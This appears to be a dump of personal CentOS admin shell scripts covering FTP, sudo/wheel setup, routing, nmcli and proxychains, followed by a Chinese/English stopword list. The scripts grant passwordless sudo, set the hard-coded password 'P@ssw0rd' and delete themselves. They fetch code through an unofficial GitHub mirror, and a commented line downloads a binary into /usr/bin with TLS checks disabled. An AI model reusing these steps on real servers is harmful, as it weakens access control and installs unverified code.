    echo -e "FTP限制用户及IP访问文件:vi /etc/security/access.conf\n"
    echo -e "Windows可以用文件管理器访问,就可以上传下载了。"
    echo -e "Mac推荐使用Cyberduck、FileZilla、ForkLift访问,自带访达对FTP功能支持不完善。\n"
    
    
    # 删除自身
    rm -rf $0
    
    # 可能该项说明对初次上手的用户是干扰
    # echo -e "用户访问其他目录限制配置文件:/etc/vsftpd/chroot_list"
    # echo -e "具体操作方法为:填写想要随意访问路径的用户名,一个用户名,占据一行。\n"
    
    
    #*********参考***********************
    
    ## ftp
    ### [csdn-linux如何查看端口是否开放](https://blog.csdn.net/blueheartstone/article/details/127045442)
    ### [csdn-shell if else 语句 写成一行](https://blog.csdn.net/qq_29060627/article/details/126471917)
    ### [cnblogs-Linux搭建FTP服务器](https://www.cnblogs.com/Caiyundo/p/9979442.html)
    ### [csdn-Linux中ftp服务的安装与配置](https://blog.csdn.net/qq_36205206/article/details/125808803)
    ### [csdn-FTP被动模式服务器端开有限的端口](https://blog.csdn.net/chipiqiao3947/article/details/100857760)
    ### [zhihu-vsftpd超实用技巧详解(二)-限制用户逃出家目录](https://zhuanlan.zhihu.com/p/77325423)
    
    ## python http server
    ### [【SimpleHTTPServer】Linux/上使用 python -m SimpleHTTPServer 快速搭建http服务](https://blog.csdn.net/michaelwoshi/article/details/102991018)
    ### [csdn-python3 报错 No module named SimpleHTTPServer](https://blog.csdn.net/hotpotbo/article/details/88227301)
    ### [知晓号-linux开端口命令(服务器开启端口命令)](https://www.dkper.com/27137.html)
    
    ## smb
    ### [cnblogs-Windows10 SMB 445端口 公网映射问题的解决方法](https://www.cnblogs.com/Ridiculer/p/15333284.html)
    ### [csdn-Linux之SAMBA服务——SMB协议](https://blog.csdn.net/qq_46839776/article/details/119939755)
    ### [cnblogs-Windows10 SMB 445端口 公网映射问题的解决方法](https://www.cnblogs.com/Ridiculer/p/15333284.html)
    
    ## 字符串处理
    #### [51cto-sed插入行](https://blog.51cto.com/u_4296776/5369128)
    #### [csdn-vim配置高亮显示](https://blog.csdn.net/heimao0307/article/details/79757274)
    #### [linux 的curl grep awk 联合查询----小练习](https://blog.csdn.net/doris_9800/article/details/104620510)
    
    #****************插曲***********************************
    
    ## [灰信网-VSFTPD 启动异常 (CODE=EXITED, STATUS=2)](https://www.freesion.com/article/6269698160/),忘记sed 加 -i 了...
    ## 组创建失败也会出现登录异常,服务器上不存在该共享。请检查该共享的名称,然后再试一次
    ## [csdn-Linux系统用户添加到用户组](https://blog.csdn.net/shenyunsese/article/details/124449334)
    ## [csdn-usermod命令的 -s使用方法](https://blog.csdn.net/qq_42276808/article/details/104145927)
    
    # cp -p /etc/ssh/{ssh_config,sshd_config,sshd_config.bak} 不可行
    ## Linux查看用户所属组 groups ftpuser 创建组:groupadd ftpusers 
    ## 新建用户并将其加入指定用户组,作为其主用户组(每个用户有且只有一个主用户组)
    ## 新建用户,并关联组
    ## useradd -g <用户组名称> <用户名称>
    ## 或者 新建用户并将其加入指定附属用户组,附属用户组可以有多个,多个附属组名称用逗号分隔即可
    ## useradd -G <用户组名称> <用户名称>
    ## 已有用户
    ## -a 代表append,和 -G 一起使用,将用户添加到新用户组中而不必离开原有的其他用户组
    ## usermod -a -G <用户组名称> <用户名称>
    
    ## 谷歌云,默认开启selinux的。国内机器,默认关闭内部的防火墙。
    ## 如果您服务器内部启用了防火墙,那是要两边一起做策略的。
    ## 腾讯默认是放开端口的,除非额外限制,目前的策略来看。
    
    # 来自 [csdn-关闭防火墙是否就默认所有端口打开](https://blog.csdn.net/weixin_39166924/article/details/98754038)
    # 默认的应该是不防护已开放端口了,端口是否打开的根本是取决于你开的服务或者是应用,
    # 这些才会去打开原本没有打开的端口,防火墙只不过在开启的时候会对这些端口做防护而已,并不是防火墙开的这些端口。
    # 比如80端口,你只有做了web应用,如iis等服务器上才会打开80端口,这时候防火墙可能会保护80端口,
    # 使外面的用户无法访问,但关闭了防火墙,防护取消就可以正常访问了,所以防火墙并不是打开80的根本
    
    
    #*******FTP安全性设置***************************
    
    # [cnblog-Linux Access.conf安全配置](https://www.cnblogs.com/yizhipanghu/p/14241923.html)
    # [zhihu-Linux access.conf 限制用户ssh/rsh登陆不生效的问题](https://zhuanlan.zhihu.com/p/525921900)
    # [csdn-实战vsftp针对用户和IP访问控制](https://blog.csdn.net/weixin_58400622/article/details/126438957)
    # [金步国-Linux PAM 学习笔记](http://www.jinbuguo.com/linux/pam.html)
    # [cnblogs-linux查看当前ssh登陆的ip](https://www.cnblogs.com/you-jia/p/4741717.html)
    # [cnblogs-linux shell脚本 如何去除变量中的小括号](https://blog.csdn.net/qq_25955145/article/details/116011951)
    # access.conf不生效很大程度与PAM有关。
    
    
    ================================================
    FILE: d-shell/simple_wheel.sh
    ================================================
    
    # **************开启wheel组功能**************
    
    # 授权读写
    chmod u+w /etc/sudoers
    
    # 开启wheel的免密sudo,并追加wheelman
    sed -i 's/# %wheel/%wheel/g' /etc/sudoers
    
    # 灵感来自腾讯云lighthouse配置
    echo "wheelman ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
    
    # 关闭授权
    chmod u-w /etc/sudoers 
    
    # 切换sudo免密,替换 #a成a(懒人做法)
    sed -i 's/#a/a/g' /etc/pam.d/su
    
    
    #*************拷贝公钥认证到wheel用户目录**********
    cp -p ~/.ssh/authorized_keys /home/wheelman/.ssh/authorized_keys > /dev/null 2>&1
    
    
    #******************创建wheelman*****************
    
    # 创建 wheelman 用户
    useradd -g wheel wheelman
    
    # 将 P@ssw0rd 密码传递至passwd的标准输入(stdin)
    # 这命令只有root才能操作,忘记sudo了....补上
    echo "P@ssw0rd"|sudo passwd --stdin wheelman
    
    # 替换掉PermitRootLogin yes,关闭root远程登录
    # sudo sed -i 's/^PermitRootLogin yes/PermitRootLogin no/g' /etc/ssh/sshd_config
    sed -i '/^PermitRootLogin/d' /etc/ssh/sshd_config
    echo "PermitRootLogin no" >> /etc/ssh/sshd_config
    
    echo "wheelman 管理员用户创建,测试完成"
    
    #********************参考部分***************************
    
    # 字符串处理参考:
    # [csdn-sed -i 命令详解](https://blog.csdn.net/qq_42767455/article/details/104180726)
    
    # wheel 组管理参考
    # [csdn-Linux学习笔记之CentOS7的 wheel组](https://blog.csdn.net/kfepiza/article/details/124701762)
    # [51cto-Linux Shell脚本专栏_批量创建100用户并设置密码脚本_03](https://blog.51cto.com/gblfy/5652817#_38)
    
    rm -rf $0
    
    
    ================================================
    FILE: d-shell/static_route.sh
    ================================================
    # 添加一劳永逸的静态路由
    # rc.local:重启服务器生效;重启网络服务,则静态路由失效。
    # static-routes:重启服务器生效;重启网络服务生效。
    # route-eth0、static-routes 名称新旧的区别(redhat)
    
    # route add -net 192.168.0.0/24 gw 192.168.2.11
    # 设置成永久,失效,太新 centos 6不适用
    # sudo echo "192.168.0.0/24 gw 192.168.2.11" >> /etc/sysconfig/network-scripts/route-eth0
    
    sudo echo "any net 192.168.0.0 netmask 255.255.255.0 gw 192.168.2.11" >> /etc/sysconfig/static-routes
    
    
    # 关键点汇总:
    # 路由的核心的功能是转发数据加跨网段=跨网段转发数据的功能
    # 路由是从源主机到目标主机的转发过程,路由器是根据路由表转发数据
    # 路由器中维护的路由条目的集合,路由器根据路由表做路径选择
    # 交换工作在数据链路层,根据mac地址表转发数据,硬件转发
    
    # 参考
    # [csdn-在linux下永久添加静态路由有两种方法](https://blog.csdn.net/harry_going/article/details/120891869)
    # [cnblogs-route命令详情](https://www.cnblogs.com/machangwei-8/p/10352872.html)
    # [csdn-路由转发的原理](https://blog.csdn.net/weixin_61522777/article/details/124403642)
    # [内网文摘-Linux 系统添加永久静态路由](http://localnetwork.cn/project-3/doc-200/)
    
    ================================================
    FILE: d-shell/study_nmcil.sh
    ================================================
    # ******************新知*****************************
    #
    # /etc/udev/rules.d/70-persistent-net.rules Linux的网驱命名,NAME键值不一定为eth0,这取决于你的更改记录。
    # [Linux网络架设篇,虚拟机l系统中网卡设备名与配置文件不符如何处理?](https://www.bbsmax.com/A/o75NB3Ex5W/)
    
    # centos8里,当BOOTPROTO=dhcp的时候,会动态获得ip地址,如果下面也静态指定了ip地址,也会生效
    # centos7里,当BOOTPROTO=dhcp的时候,会动态获得ip地址,如果下面也静态指定了ip地址,不会生效
    #
    #****************************************************
    
    # 安装IP计算器
    if [ ! -x $(command -v ipcalc) ]; then yum install -y ipcalc;fi
    
    # 找出错误的居然是chatgpt 
    # [qiita-nmcliコマンドの隅をつつく](https://qiita.com/kanatatsu64/items/b7b8eca17202386d27e3)
    # ifconfig -s、netstat -i、nmcli device显示网卡清单
    # awk抓取第二行,cut空行做分隔符,选取第一段字符
    # 得到第一块网卡名 "System eth0" (不是eth0设备驱动名)
    eth0_name=$(nmcli con |awk 'NR==2'|cut -d' ' -f1,2)
    
    # DHCP 
    nmcli con mod "$eth0_name" ipv4.method auto
    
    # 专项解说:
    # 这么多做几次的话,会一个网卡绑定多个IP。
    ## 如果一台服务器有多个IP地址,而且每个IP地址与服务器上部署的每个网站一一对应,这样当用户请求访问不同的IP地址时,会访问到不同网站的页面资源
    ## 这条命令会记录历史改写的配置,但如果进行重载了,是不会的。相当于初始化。
    # nmcli con mod "$(nmcli con |awk 'NR==2'|cut -d' ' -f1,2)" ip4 10.10.10.10/24 gw4 10.10.10.1
    
    # static
    # 再配置一遍动态DHCP,难怪我就理解了,centos8只要存在DHCP项,下面的静态配置就失去了效果。
    nmcli c mod "System eth0" \
    ip4 172.24.10.150/24 \
    gw4 172.24.10.100 \
    ipv4.dns 172.24.10.254 \
    ipv4.method manual autoconnect yes
    
    nmcli con reload #重载
    
    # [csdn-配置静态IP地址(centos和ubuntu)](https://blog.csdn.net/weixin_47661174/article/details/125894194)
    # [Linux系统中手动配置IP地址(CentOS 7、8为例)](https://blog.csdn.net/weixin_44411385/article/details/123499862)
    # [nmcli详解](https://blog.csdn.net/wq1205750492/article/details/124497231)
    # [csdn-Linux中nmcli命令详解](https://blog.csdn.net/yulin003/article/details/125561203)
    # [csdn-RHEL8使用nmcli配置网络](https://blog.csdn.net/omaidb/article/details/120028501)
    # [51cto-快速上手Apache](https://blog.51cto.com/u_14519396/6000235)
    # [电子发烧友论坛-嵌入式Linux下如何设置永久ip和临时ip地址](https://bbs.elecfans.com/jishu_2190937_1_1.html)
    
    
     
    
    
    ================================================
    FILE: d-shell/study_nmcil2.sh
    ================================================
    # ``` 网络配置 板块一
    #
    # 如果同时设置了动态获取IP和静态IP,那么静态IP将不再有效。系统会优先使用动态获取IP的配置。
    # bootp 是一种比较老的协议,几乎已经过时了,dhcp 是 bootp 的一种扩展,与 bootp 兼容。
    # none 不禁用网卡,暂时也不用静态IP,如果指定静态IP就用静态的(特殊装机环境)
    #
    # 系统出厂初始配置如下:
    #
    # dhcp #协议类型 dhcp bootp none
    # HWADDR=52:54:00:35:3a:ac # mac
    # ONBOOT=yes #启动时是否激活 yes | no
    # PERSISTENT_DHCLIENT=yes # 持久化选项,持续响应DHCP获取IP yes|no|1|0 
    # TYPE=Ethernet #网卡类型为以太网
    # USERCTL=no # 是否允许非root用户控制该设备 yes/no
    #
    # ```
    
    
    #``` 网络配置 板块二
    #
    # PROXY_METHOD=none # 代理关闭
    # BROWSER_ONLY=no # 代理只限于浏览器?yes or no
    # IPADDR=172.24.10.150
    # PREFIX=24 # 也可以写为(METMASK=255.255.255.0但是二者一般只写其中的一种)
    # GATEWAY=172.24.10.100
    # DNS1=172.24.10.254
    # DNS2=172.24.10.253
    # DEFROUTE=yes # 默认路由开启,数据包的出口。
    # IPV4_FAILURE_FATAL=no # 关闭错误检测
    # IPV6INIT=no # ipv6关
    # IPV6_DEFROUTE=yes # 开启ipv6默认路由设置
    # IPV6_FAILURE_FATAL=no # 关闭错误检测
    # NAME="System eth0" # 标识网络设备名称 (基于nmcil管理)
    # UUID=5fb06bd0-0bb0-7ffb-45f1-d6edd65f3e03 #唯一表示码,可通过uuidgen eth0 生成
    #
    #```
    
    #```` 推测与分析
    #
    # 实际上多出来的这些参数是默认的,我们只保留 IPADDR、METMASK、GATEWAY、DNS2、DNS1 就好了。
    # 此外,Linux的网驱命名,NAME键值不一定为eth0,这取决于你的更改记录:
    #  /etc/udev/rules.d/70-persistent-net.rules 
    #
    # 专项解说:
    ##  nmcli con mod "System eth0" ip4 10.10.10.10/24 gw4 10.10.10.1 
    ## 这么多做几次的话,会一个网卡绑定多个IP。
    ## 如果一台服务器有多个IP地址,而且每个IP地址与服务器上部署的每个网站一一对应,这样当用户请求访问不同的IP地址时,会访问到不同网站的页面资源
    ## 再配置一遍动态DHCP,难怪我就理解了,centos8只要存在DHCP项,下面的静态配置就失去了效果。
    ## 注意:这条命令会记录历史改写的配置,但如果进行重载了,是不会的。相当于初始化。
    #```
    
    
    # **************调试代码************************
    # cat /etc/sysconfig/network-scripts/ifcfg-eth0
    # nmcli c mod "System eth0" \
    # ip4 172.24.10.150/24 \
    # gw4 172.24.10.100 \
    # ipv4.dns 172.24.10.254 \
    # ipv4.method manual autoconnect yes
    
    # rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old
    # echo "192.168.0.1 255.255.255.0 192.168.0.11" > ${HOMEPATH}add_ip_net.txt
    # echo "192.168.0.1,255.255.255.0,192.168.0.11" > ${HOMEPATH}add_ip_net.txt
    # echo "192.168.0.1/24 192.168.0.11" > ${HOMEPATH}add_ip_net.txt
    #************************************************
    
    #********** 开始配置 network-scripts/ifcfg-eth0 *******************
    echo -e "注意,该脚本适用于个人便利性及新手使用。 \n"
    
    # 原则上是适配centos 8的,为了一定程度上的便利,将从network manager抓取设备名。
    # 获取首行的网卡设备,提取到网卡设备别名。
    # ifconfig -s、netstat -i 显示网卡清单
    # nmcli device |awk 'NR==2{print $4,$5,$6}'
    
    a_eth=$(nmcli device |awk 'NR==2{print $1}')
    
    # sed 检查文本是否存在关键字,有则删除行
    sudo sed -i '{/IPADDR=/d;/GATEWAY=/d;/PREFIX=/d;/METMASK=/d;}' "/etc/sysconfig/network-scripts/ifcfg-$a_eth"
    # sed 匹配 “BOOTPROTO=dhcp”,整行替换
    sudo sed -i 's/BOOTPROTO=dhcp/BOOTPROTO=none/g' "/etc/sysconfig/network-scripts/ifcfg-$a_eth"
    
    echo -e "支持 192.168.0.1/24 格式,可空格或逗号分段:IP 子网掩码 网关 \n"
    read -p "请输入IP、子网掩码、网关: " add_ip_net
    
    # 传入到文本进行分割取值
    echo "$add_ip_net" > ${HOMEPATH}add_ip_net.txt
    
    if [ ! "$(cat ${HOMEPATH}add_ip_net.txt|grep '/')" ]; then
    
    a_ip=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, ' ']" '{print $1}')
    a_mask=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, ' ']" '{print $2}')
    a_gateway=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, ' ']" '{print $3}')
    
    # 插入
    sudo echo "
    
    IPADDR=$a_ip
    METMASK=$a_mask
    GATEWAY=$a_gateway
    
    " >> "/etc/sysconfig/network-scripts/ifcfg-$a_eth"
    
    else
    
    a_ip=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, / ' ']" '{print $1}')
    a_prefix=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, / ' ']" '{print $2}')
    a_gateway=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, / ' ']" '{print $3}')
    
    # 插入
    sudo echo "
    IPADDR=$a_ip
    PREFIX=$a_prefix
    GATEWAY=$a_gateway
    " >> "/etc/sysconfig/network-scripts/ifcfg-$a_eth"
    
    fi
    
    rm -rf ${HOMEPATH}add_ip_net.txt
    systemctl restart network
    echo "修改成功。小推荐:yum install -y ipcalc (子网掩码换算器)"
    echo '若将网络设置成自动获取,输入此条指令即可:nmcli con mod "System eth0" ipv4.method auto'
    echo '若后续添加DNS,输入该指令生效:nmcli c mod "System eth0" ipv4.dns 1.1.1.1,223.5.5.5'
    
    
    
    
    # ````参考 
    # 网络配置
    # [Linux网络架设篇,虚拟机l系统中网卡设备名与配置文件不符如何处理?](https://www.bbsmax.com/A/o75NB3Ex5W/)
    # [知乎-BOOTP和DHCP有什么区别?](https://www.zhihu.com/question/57081221)
    # [bookstack-IPv4的dhclient守护进程持久化配置](https://www.bookstack.cn/read/openeuler-1.0-base/Administration-IPv4的dhclient守护进程持久化配置.md)
    # [csdn-linux静态地址于dhcp共存,linux dhcp 获取ip地址能上网,设置静态ip地址则不能上网...](https://blog.csdn.net/weixin_42513170/article/details/116880156) 
    # [爱码网-linux——网络文件的配置](https://www.likecs.com/show-205084292.html)
    # [csdn-配置静态IP地址(centos和ubuntu)](https://blog.csdn.net/weixin_47661174/article/details/125894194)
    # [Linux系统中手动配置IP地址(CentOS 7、8为例)](https://blog.csdn.net/weixin_44411385/article/details/123499862)
    # [nmcli详解](https://blog.csdn.net/wq1205750492/article/details/124497231)
    # [csdn-Linux中nmcli命令详解](https://blog.csdn.net/yulin003/article/details/125561203)
    # [csdn-RHEL8使用nmcli配置网络](https://blog.csdn.net/omaidb/article/details/120028501)
    # [51cto-快速上手Apache](https://blog.51cto.com/u_14519396/6000235)
    # [电子发烧友论坛-嵌入式Linux下如何设置永久ip和临时ip地址](https://bbs.elecfans.com/jishu_2190937_1_1.html)
    # [9.2. 使用 NetworkManager 命令行工具 nmcli](https://access.redhat.com/documentation/zh-cn/red_hat_enterprise_linux/7/html/networking_guide/sec-network_bridging_using_the_networkmanager_command_line_tool_nmcli)
    # [qiita-nmcliコマンドの隅をつつく](https://qiita.com/kanatatsu64/items/b7b8eca17202386d27e3)
    
    
    # 文本处理
    # [csdn-shell编程 sed 命令追查找[关键字] 并在该行附近修改文本](https://blog.csdn.net/lingyiwin/article/details/126022315)
    # [csdn-Linux sed 关键字匹配整行中任意字符进行替换(正则表达式整行替换)](https://blog.csdn.net/weixin_44190581/article/details/124266264)
    # [csdn-Linux三剑客之awk命令详解](https://blog.csdn.net/qq_57377057/article/details/126254525)
    
    
    ================================================
    FILE: d-shell/used_proxychains.sh
    ================================================
    yum install -y epel-release
    
    yum install -y git*
    
    git clone https://gh.api.99988866.xyz/https://github.com/rofl0r/proxychains-ng.git
    
    cd proxychains-ng
    # 指定相关配置目录
    ./configure --prefix=/usr --sysconfdir=/etc
    # 编译与安装
    make && sudo make install
    
    # 下载pigchacli与安装
    # sudo rm -rf /usr/bin/pigchacli
    # sudo curl -o /usr/bin/pigchacli https://webdownload.duangspeed.com/linux/pigchacli_x86_64 -k
    # sudo chmod +x /usr/bin/pigchacli
    # 拷贝文件到etc目录,并配置
    sudo cp ./src/proxychains.conf /etc/
    # vim /etc/proxychains.conf
    sed -i '161s/^/# /'  /etc/proxychains.conf
    echo -e "http 127.0.0.1 15777" >> /etc/proxychains.conf
    
    ================================================
    FILE: d-shell/webtools.sh
    ================================================
    #!/bin/bash
    
    while :
    do
        echo "开启选项:"
        echo "1. kimi助手 & 秘塔搜索"
        echo "2. 视频下载/转换/封面/去水印"
        echo "3. Video/IMG/PDF处理"
        echo "4. 杂项 & 番茄时钟"
        echo "5. 在线听音乐"
        echo "6. LOFI"
        echo "7. 白噪音"
        echo "8. 影视/番剧"
        echo "9. 复制小游戏网页(适配手机)"
        echo "0. 退出"
    
        read -p "Enter your choice: " choice
    
        case $choice in
            1)
                (open "https://kimi.moonshot.cn" &)
                (open "https://metaso.cn" &)
                ;;
            2)
                (open "https://snapany.com" &)
                (open "https://convertio.co" &)
                (open "https://online-video-cutter.com/cn/remove-logo" &)
                ;;
            3)
                (open "https://tinywow.com" &)
                (open "https://tool.browser.qq.com/" &)
                ;;
            4)
                (open "https://pomodoro.zone/zh-cn/" &)
                ;;
            5)
                (open "https://bailemi.com/" &)
                (open "https://tools.liumingye.cn/music/#/" &)
                ;;
            6)
                (open "https://lofifm.vercel.app/" &)
                ;;
            7)
                (open "https://www.rainymood.com/" &)
                ;;
            8)
                (open "https://www.keke2.app/" &)
                (open "https://ddys.pro/" &)
                ;;
            9)
                echo "https://poki.com" | pbcopy
                ;;
            0)
                exit
                ;;
            *)
                ;;
        esac
    
        clear
    done
    
    
    ================================================
    FILE: d-txt/cn_stopwords.txt
    ================================================
    ———
    》),
    )÷(1-
    ”,
    )、
    =(
    :
    →
    ℃
    &
    *
    一一
    ~~~~
    ’
    .
    『
    .一
    ./
    --
    』
    =″
    【
    [*]
    }>
    [⑤]]
    [①D]
    c]
    ng昉
    *
    //
    [
    ]
    [②e]
    [②g]
    ={
    }
    ,也
    ‘
    A
    [①⑥]
    [②B]
    [①a]
    [④a]
    [①③]
    [③h]
    ③]
    1.
    --
    [②b]
    ’‘
    ×××
    [①⑧]
    0:2
    =[
    [⑤b]
    [②c]
    [④b]
    [②③]
    [③a]
    [④c]
    [①⑤]
    [①⑦]
    [①g]
    ∈[
    [①⑨]
    [①④]
    [①c]
    [②f]
    [②⑧]
    [②①]
    [①C]
    [③c]
    [③g]
    [②⑤]
    [②②]
    一.
    [①h]
    .数
    []
    [①B]
    数/
    [①i]
    [③e]
    [①①]
    [④d]
    [④e]
    [③b]
    [⑤a]
    [①A]
    [②⑦]
    [①d]
    [②j]
    〕〔
    ][
    ://
    ′∈
    [②④
    [⑤e]
    12%
    b]
    ...
    ...................
    …………………………………………………③
    ZXFITL
    [③F]
    」
    [①o]
    ]∧′=[
    ∪φ∈
    ′|
    {-
    ②c
    }
    [③①]
    R.L.
    [①E]
    Ψ
    -[*]-
    ↑
    .日
    [②d]
    [②
    [①②]
    [②a]
    f]
    [⑩]
    a]
    [①e]
    [②h]
    [②⑥]
    [③d]
    [②⑩]
    e]
    〉
    】
    元/吨
    2.3%
    5:0
    [①]
    ::
    [②]
    [③]
    [④]
    [⑤]
    [⑥]
    [⑦]
    [⑧]
    [⑨]
    ……
    ——
    ?
    、
    。
    “
    ”
    《
    》
    !
    ,
    :
    ;
    ?
    .
    ,
    '
    ·
    ──
    —
    <
    >
    (
    )
    〔
    〕
    [
    ]
    (
    )
    -
    +
    ~
    ×
    /
    /
    ①
    ②
    ③
    ④
    ⑤
    ⑥
    ⑦
    ⑧
    ⑨
    ⑩
    Ⅲ
    В
    "
    ;
    #
    @
    γ
    μ
    φ
    φ.
    Δ
    ■
    ▲
    sub
    exp
    sup
    Lex
    #
    %
    &
    '
    +
    +ξ
    ++
    -
    -β
    <
    <±
    <Δ
    <λ
    <φ
    <<
    =
    =
    =☆
    =-
    >
    >λ
    _
    ~±
    ~+
    [⑤f]
    [⑤d]
    [②i]
    ≈
    [②G]
    [①f]
    LI
    ㈧
    [-
    ......
    [③⑩]
    第二
    一番
    一直
    一个
    一些
    许多
    种
    有的是
    也就是说
    末##末
    啊
    阿
    哎
    哎呀
    哎哟
    唉
    俺
    俺们
    按
    按照
    吧
    吧哒
    把
    罢了
    被
    本
    本着
    比
    比方
    比如
    鄙人
    彼
    彼此
    边
    别
    别的
    别说
    并
    并且
    不比
    不成
    不单
    不但
    不独
    不管
    不光
    不过
    不仅
    不拘
    不论
    不怕
    不然
    不如
    不特
    不惟
    不问
    不只
    朝
    朝着
    趁
    趁着
    乘
    冲
    除
    除此之外
    除非
    除了
    此
    此间
    此外
    从
    从而
    打
    待
    但
    但是
    当
    当着
    到
    得
    的
    的话
    等
    等等
    地
    第
    叮咚
    对
    对于
    多
    多少
    而
    而况
    而且
    而是
    而外
    而言
    而已
    尔后
    反过来
    反过来说
    反之
    非但
    非徒
    否则
    嘎
    嘎登
    该
    赶
    个
    各
    各个
    各位
    各种
    各自
    给
    根据
    跟
    故
    故此
    固然
    关于
    管
    归
    果然
    果真
    过
    哈
    哈哈
    呵
    和
    何
    何处
    何况
    何时
    嘿
    哼
    哼唷
    呼哧
    乎
    哗
    还是
    还有
    换句话说
    换言之
    或
    或是
    或者
    极了
    及
    及其
    及至
    即
    即便
    即或
    即令
    即若
    即使
    几
    几时
    己
    既
    既然
    既是
    继而
    加之
    假如
    假若
    假使
    鉴于
    将
    较
    较之
    叫
    接着
    结果
    借
    紧接着
    进而
    尽
    尽管
    经
    经过
    就
    就是
    就是说
    据
    具体地说
    具体说来
    开始
    开外
    靠
    咳
    可
    可见
    可是
    可以
    况且
    啦
    来
    来着
    离
    例如
    哩
    连
    连同
    两者
    了
    临
    另
    另外
    另一方面
    论
    嘛
    吗
    慢说
    漫说
    冒
    么
    每
    每当
    们
    莫若
    某
    某个
    某些
    拿
    哪
    哪边
    哪儿
    哪个
    哪里
    哪年
    哪怕
    哪天
    哪些
    哪样
    那
    那边
    那儿
    那个
    那会儿
    那里
    那么
    那么些
    那么样
    那时
    那些
    那样
    乃
    乃至
    呢
    能
    你
    你们
    您
    宁
    宁可
    宁肯
    宁愿
    哦
    呕
    啪达
    旁人
    呸
    凭
    凭借
    其
    其次
    其二
    其他
    其它
    其一
    其余
    其中
    起
    起见
    岂但
    恰恰相反
    前后
    前者
    且
    然而
    然后
    然则
    让
    人家
    任
    任何
    任凭
    如
    如此
    如果
    如何
    如其
    如若
    如上所述
    若
    若非
    若是
    啥
    上下
    尚且
    设若
    设使
    甚而
    甚么
    甚至
    省得
    时候
    什么
    什么样
    使得
    是
    是的
    首先
    谁
    谁知
    顺
    顺着
    似的
    虽
    虽然
    虽说
    虽则
    随
    随着
    所
    所以
    他
    他们
    他人
    它
    它们
    她
    她们
    倘
    倘或
    倘然
    倘若
    倘使
    腾
    替
    通过
    同
    同时
    哇
    万一
    往
    望
    为
    为何
    为了
    为什么
    为着
    喂
    嗡嗡
    我
    我们
    呜
    呜呼
    乌乎
    无论
    无宁
    毋宁
    嘻
    吓
    相对而言
    像
    向
    向着
    嘘
    呀
    焉
    沿
    沿着
    要
    要不
    要不然
    要不是
    要么
    要是
    也
    也罢
    也好
    一
    一般
    一旦
    一方面
    一来
    一切
    一样
    一则
    依
    依照
    矣
    以
    以便
    以及
    以免
    以至
    以至于
    以致
    抑或
    因
    因此
    因而
    因为
    哟
    用
    由
    由此可见
    由于
    有
    有的
    有关
    有些
    又
    于
    于是
    于是乎
    与
    与此同时
    与否
    与其
    越是
    云云
    哉
    再说
    再者
    在
    在下
    咱
    咱们
    则
    怎
    怎么
    怎么办
    怎么样
    怎样
    咋
    照
    照着
    者
    这
    这边
    这儿
    这个
    这会儿
    这就是说
    这里
    这么
    这么点儿
    这么些
    这么样
    这时
    这些
    这样
    正如
    吱
    之
    之类
    之所以
    之一
    只是
    只限
    只要
    只有
    至
    至于
    诸位
    着
    着呢
    自
    自从
    自个儿
    自各儿
    自己
    自家
    自身
    综上所述
    总的来看
    总的来说
    总的说来
    总而言之
    总之
    纵
    纵令
    纵然
    纵使
    遵照
    作为
    兮
    呃
    呗
    咚
    咦
    喏
    啐
    喔唷
    嗬
    嗯
    嗳
    感觉
    able
    about
    above
    according
    accordingly
    across
    actually
    after
    afterwards
    again
    against
    ain't
    all
    allow
    allows
    almost
    alone
    along
    already
    also
    although
    always
    am
    among
    amongst
    an
    and
    another
    any
    anybody
    anyhow
    anyone
    anything
    anyway
    anyways
    anywhere
    apart
    appear
    appreciate
    appropriate
    are
    aren't
    around
    as
    a's
    aside
    ask
    asking
    associated
    at
    available
    away
    awfully
    be
    became
    because
    become
    becomes
    becoming
    been
    before
    beforehand
    behind
    being
    believe
    below
    beside
    besides
    best
    better
    between
    beyond
    both
    brief
    but
    by
    came
    can
    cannot
    cant
    can't
    cause
    causes
    certain
    certainly
    changes
    clearly
    c'mon
    co
    com
    come
    comes
    concerning
    consequently
    consider
    considering
    contain
    containing
    contains
    corresponding
    could
    couldn't
    course
    c's
    currently
    definitely
    described
    despite
    did
    didn't
    different
    do
    does
    doesn't
    doing
    done
    don't
    down
    downwards
    during
    each
    edu
    eg
    eight
    either
    else
    elsewhere
    enough
    entirely
    especially
    et
    etc
    even
    ever
    every
    everybody
    everyone
    everything
    everywhere
    ex
    exactly
    example
    except
    far
    few
    fifth
    first
    five
    followed
    following
    follows
    for
    former
    formerly
    forth
    four
    from
    further
    furthermore
    get
    gets
    getting
    given
    gives
    go
    goes
    going
    gone
    got
    gotten
    greetings
    had
    hadn't
    happens
    hardly
    has
    hasn't
    have
    haven't
    having
    he
    hello
    help
    hence
    her
    here
    hereafter
    hereby
    herein
    here's
    hereupon
    hers
    herself
    he's
    hi
    him
    himself
    his
    hither
    hopefully
    how
    howbeit
    however
    i'd
    ie
    if
    ignored
    i'll
    i'm
    immediate
    in
    inasmuch
    inc
    indeed
    indicate
    indicated
    indicates
    inner
    insofar
    instead
    into
    inward
    is
    isn't
    it
    it'd
    it'll
    its
    it's
    itself
    i've
    just
    keep
    keeps
    kept
    know
    known
    knows
    last
    lately
    later
    latter
    latterly
    least
    less
    lest
    let
    let's
    like
    liked
    likely
    little
    look
    looking
    looks
    ltd
    mainly
    many
    may
    maybe
    me
    mean
    meanwhile
    merely
    might
    more
    moreover
    most
    mostly
    much
    must
    my
    myself
    name
    namely
    nd
    near
    nearly
    necessary
    need
    needs
    neither
    never
    nevertheless
    new
    next
    nine
    no
    nobody
    non
    none
    noone
    nor
    normally
    not
    nothing
    novel
    now
    nowhere
    obviously
    of
    off
    often
    oh
    ok
    okay
    old
    on
    once
    one
    ones
    only
    onto
    or
    other
    others
    otherwise
    ought
    our
    ours
    ourselves
    out
    outside
    over
    overall
    own
    particular
    particularly
    per
    perhaps
    placed
    please
    plus
    possible
    presumably
    probably
    provides
    que
    quite
    qv
    rather
    rd
    re
    really
    reasonably
    regarding
    regardless
    regards
    relatively
    respectively
    right
    said
    same
    saw
    say
    saying
    says
    second
    secondly
    see
    seeing
    seem
    seemed
    seeming
    seems
    seen
    self
    selves
    sensible
    sent
    serious
    seriously
    seven
    several
    shall
    she
    should
    shouldn't
    since
    six
    so
    some
    somebody
    somehow
    someone
